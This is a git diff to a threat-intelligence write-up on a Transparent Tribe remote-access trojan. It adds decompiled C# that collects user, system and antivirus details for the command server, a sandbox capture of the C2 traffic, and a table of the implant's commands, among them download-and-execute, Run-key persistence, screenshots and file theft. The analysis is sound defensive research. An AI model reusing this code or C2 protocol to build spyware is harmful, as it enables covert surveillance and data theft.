diff --git a/Pakistan/APT/Transparent Tribe/22-01-20/analysis.md b/Pakistan/APT/Transparent Tribe/22-01-20/analysis.md index c767e66..ca69bf1 100644 --- a/Pakistan/APT/Transparent Tribe/22-01-20/analysis.md +++ b/Pakistan/APT/Transparent Tribe/22-01-20/analysis.md @@ -77,9 +77,27 @@ public void ulhtagniasdo_start() } ``` -
Can read the Operation System
+
Once the connexion is etablish with the C2, this send the informations of user, system, sensible AV (who detect it easily) and this repertory (here from a trace of the TCP stream of an Anyrun sandbox)
+ +``` .....info=command.....ulhtagnias-info=user8....|USER-PC|admin||6>1|S.P.1.3|| ||C:\ProgramData\DeIA-WIR\.....clping=Ping.....clping=Ping``` ```csharp +private void ulhtagniasuser_info() +{ + string text = string.Concat(new string[] + { + this.ulhtagniasUPC.ulhtagniaslancard,"|",this.ulhtagniasUPC.ulhtagniascname,"|", + this.ulhtagniasUPC.ulhtagniasuname,"|",this.ulhtagniasUPC.ulhtagniasuip,"|", + ulhtagniasCONF.ulhtagniasOsname(),"|",this.ulhtagniasUPC.ulhtagniasapver,"|", + ulhtagniasCONF.ulhtagniasloadAV() + }); + text += "| !ulhtagnias".Split(new char[]{'!'})[0]; + text = text + "|" + this.ulhtagniasUPC.ulhtagniasclientNum; + text = text + "|" + ulhtagniasCONF.ulhtagniasget_mpath(); + byte[] byteArray = ulhtagniasCONF.getByteArray(text); + this.ulhtagniaspush_data(byteArray, "ulhtagnias-info=user|ulhtagnias".Split(new char[]{'|'})[0], false); +} + public static string ulhtagniasOsname() { string result; @@ -88,11 +106,117 @@ public static string ulhtagniasOsname() OperatingSystem osversion = Environment.OSVersion; result = osversion.Version.Major.ToString() + ">" + osversion.Version.Minor.ToString(); } - catch - {result = "6>1!ulhtagnias".Split(new char[]{'!'})[0];} + catch {result = "6>1!ulhtagnias".Split(new char[]{'!'})[0];} return result; } ``` + +
The name of PE file is used as identifier and the command by a couple {nameimplant-command}.This can perform the actions by the following commands :
+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandDescription
-proclGet the list of process
-thumbGet info of a picture
-clpingCheck activity
-putsrtPush the persistence in a Run key
-filszGet infos of a specific file
-rupthPush the data received
-dowfSave to a file the data pushed on the system
-endpoKill a process
-scrszGet the size of the screen
-cownarDownload and run a executable file
-cscreenGet a screenshot
-dirsList all the drives and directories
-stopsstop the mod for get periodical screenshot
-screnstart the mod for get periodical screenshot
-cnlsAllow index, send data and disable continue screenshot
-udltDownload and execute an executable for remove an user ?
-deltDelete a specific file
-listfList files
-fileGet a specific file
-infoGet user and system infos, check if the AV is on blacklist
-runfExecute a specific file
-dowrDownload a file on the system
-fldrGet folders and go silent mod
+

+ +
Can read the Operation System version
+ +

Threat Intelligence